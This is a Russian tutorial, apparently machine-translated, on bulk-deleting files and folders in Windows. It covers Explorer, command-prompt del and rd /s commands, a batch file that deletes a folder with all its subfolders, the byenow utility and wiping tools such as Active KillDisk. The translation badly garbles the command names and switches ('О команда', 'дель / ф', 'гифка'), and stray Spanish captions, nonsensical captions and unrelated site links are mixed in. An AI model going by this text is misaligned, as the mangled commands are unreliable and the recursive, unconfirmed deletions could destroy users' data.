Хотя мы обычно прибегаем к сторонним приложениям для выполнения многих задач в Windows, потому что это не позволяет нам выполнять их эффективно, в этом случае при массовом удалении документов инструменты, которые Microsoft предоставить в наше распоряжение стоят.

Из проводника

Windows Проводник позволяет нам выполнять многие основные задачи в управлении элементами нашего внутреннего жесткого диска или внешних устройств хранения, таких как USB-накопители, внешние SSD диски или внешние жесткие диски.

Когда у нас есть на экране папки или документы, которые мы хотим массово удалить, у нас есть несколько инструментов, которые позволят нам сделать это быстро и всего за несколько шагов.

  • Когда мы хотим удалить все папки или файлы:

Что нам нужно сделать, во-первых, это выберите все элементы . Мы можем сделать это тремя разными способами: нажав кнопку Выбрать все кнопка на ленте вверху окна; нажмите CTRL на клавиатуре. + А в то же время; или выберите первый элемент, нажмите Клавиша SHIFT. + щелкнуть по последнему пункту.

После того, как мы выбрали все элементы, чтобы удалить их, у нас есть еще три варианта, почти эквивалентные тем, которые были выбраны: мы можем нажать кнопку Удалить пуговица на ленте вверху; нажмите Клавиша УДАЛИТЬ. На клавиатуре; или откройте вторичное меню правой кнопкой мыши и нажмите Удалить.

Помните, что все эти документы будут отправлены прямо в Корзина , поэтому мы должны очистить его, если хотим навсегда избавиться от всего удаленного.

  • Когда мы хотим удалить массово, но выбираем контент:

Вы можете удалить много документов, но не все. То есть, когда выбор всех элементов модуля или каталога не является жизнеспособным вариантом, мы должны выбрать вручную все, что мы хотим удалить. Для этого нет необходимости переходить папка за папкой или файл за файлом.

Windows позволяет выбирать элементы всего несколькими щелчками мыши. Чтобы активировать ручной выбор, достаточно зажать кнопку Клавиша CTRL. клавиатура. Отсюда мы можем выбирать элементы, нажимая на них. Если они являются смежными элементами, мы можем щелкнуть мышью в пустом месте и выбрать, перетаскивая, все элементы в этой области. Вы можете выбрать несколько вариантов, но всегда, не отпуская клавиши CTRL.

После того, как выбор сделан, мы нажмем кнопку Удалить кнопку на ленте, Клавиша УДАЛИТЬ. или мы будем использовать Удалить команду от правой кнопки.

cinta de opciones en el explorador de archivos de windows

Команды в командной строке

Дело не в том, что использовать системы командной строки слишком сложно, что напоминает нам о старых MS-DOS, для самых ветеранов, но это интерфейс, к которому мы, возможно, не привыкли. Чтобы получить доступ к командной строке, мы будем ищи это в поисковой строке на панели задач или нажмите Выиграть. + R и мы напишем ЦМД, затем нажимаем Enter и мы внутри.

Мы будем использовать О команда для удаления файлов или каталогов за один раз. Мы будем использовать эти команды:

  • из C: XXXX

Где XXXX — это путь где хранятся все документы, которые вы хотите удалить.

  • дель C: XXXX / +. гифка

В этом случае мы удалим все элементы с указанное расширение (GIF или любой другой) по указанному пути.

  • дель / ф C: XXXX

Это приведет к удалению только для чтения файлы.

  • дел / с C: XXXX

Команда / s также удаляет все подкаталоги.

  • RD / с XXXX

Мы будем использовать команду RD (удалить каталог, удалить каталог), чтобы удалить папку в котором мы находимся. Для этого мы должны сначала войти, выполнив команду cd XXXX (где XXXX — имя папки), один раз в пути мы пишем команду для удаления каталога и все его подпапки (с параметром / s).

Comando del simbolo de sistema

Bat файл

Файл «летучая мышь» (или пакетный) — это простой текстовый документ, включающий несколько команды, которые должны быть выполнены напрямую. Мы можем связать это с программированием или созданием кода, но на самом деле это очень просто. Нам просто нужно открыть WordPad, простой текстовый редактор Windows. Мы пишем команды, которые хотим выполнять автоматически, например:

cd C: Счета-фактуры
rd / s C: Счета-фактуры

Таким образом, мы были бы вход в папку «Счета» на жесткий диск, а затем удаление его вместе со всеми подкаталогами. После того, как команды будут написаны, нажмите «Сохранить как…» и дайте ему описательное имя, которое заканчивается на .bat (расширение, чтобы сделать его исполняемым документом). Таким образом, каждый раз, когда мы дважды щелкаем по нему, эти команды будут выполняться.

С Byenow

Это приложение запускается в командной строке, но позволяет нам выполнять массовое удаление файлов или папок легче. Мы загружаем приложение и сохраняем его в корневом каталоге, так что нам нужно только выполнить пока при открытии командной строки.

Мы напишем byenow XXXX -p -s -l -e -y . Команды byenow XXXX (где XXXX — это папка, которую мы хотим удалить) достаточно, чтобы удалить нужный каталог со всем его содержимым.

Однако мы можем добавить другие параметры, такие как указанные: -p создает предварительный просмотр того, что мы собираемся удалить, -s показывает нам содержимое, а затем удаляет его, -l позволяет нам видеть ход удаления, -e — ошибка записи, -y не вызывает подтверждения для массового Удалить.

byenow simbolo de sistema windows

С внешними приложениями

Хотя Windows позволяет легко удалять файлы и папки в большом количестве, есть также другие приложения, которые добавляют новые функции к этому процессу, который может нас заинтересовать.

Удалить файл

Как видно из названия ( Удалить файл это очистка файлов на английском языке) это приложение позволяет нам удалять выбранные нами документы, как это делает Windows, но с добавлением Wipe File полностью очищает информационный след в сейфе.

После удаления выбранных файлов и папок информация перезаписывается различными способами (доступно 14 различных методов), так что никто не может восстановить эти документы . Он доступен для Windows и является бесплатным.

стереть окна

Активировать KillDisk

Этот инструмент похож на предыдущий. Активный KillDisk предназначен для навсегда удалить всю информацию без возможности восстановления конкретными программами. Вы можете сделать это на целых дисках, таких как внутренние жесткие диски или внешние накопители, такие как USB-накопители, карты памяти или внешние SSD-диски.

Вы можете отказаться от заявки на бесплатные (если он предназначен для личного, непрофессионального использования) прямо из Интернета и доступен только для Окон. Кроме того, чтобы гарантировать, что информация была стерта безвозвратно, он выдает различные типы цифровых сертификатов безопасности.

активный killdisk для окон

TeraCopy

TeraCopy это инструмент, который позволяет очень быстро копировать и перемещать большие объемы информации. В дополнение к этому, инструмент массового стирания очень полезен , поскольку он использует ту же технологию и обеспечивает быстрое удаление информации.

Эта программа способна использовать весь потенциал вашего компьютера, чтобы сконцентрировать его и добиться массового устранения за гораздо меньшее время, чем любой из встроенных вариантов операционной системы Microsoft. Это бесплатные приложение, доступно только для Windows и это также предлагает эти функции для внешних накопителей, таких как USB-накопители или карты памяти.

окна для терактов

Понравилась статья? Поделить с друзьями:
  • Как написать батник для выключения компьютера
  • Как написать бат файл для запуска командной строки
  • Как написать бастрыкину чтобы он прочитал адрес
  • Как написать бастрыкину открытое письмо
  • Как написать басовую партию к песне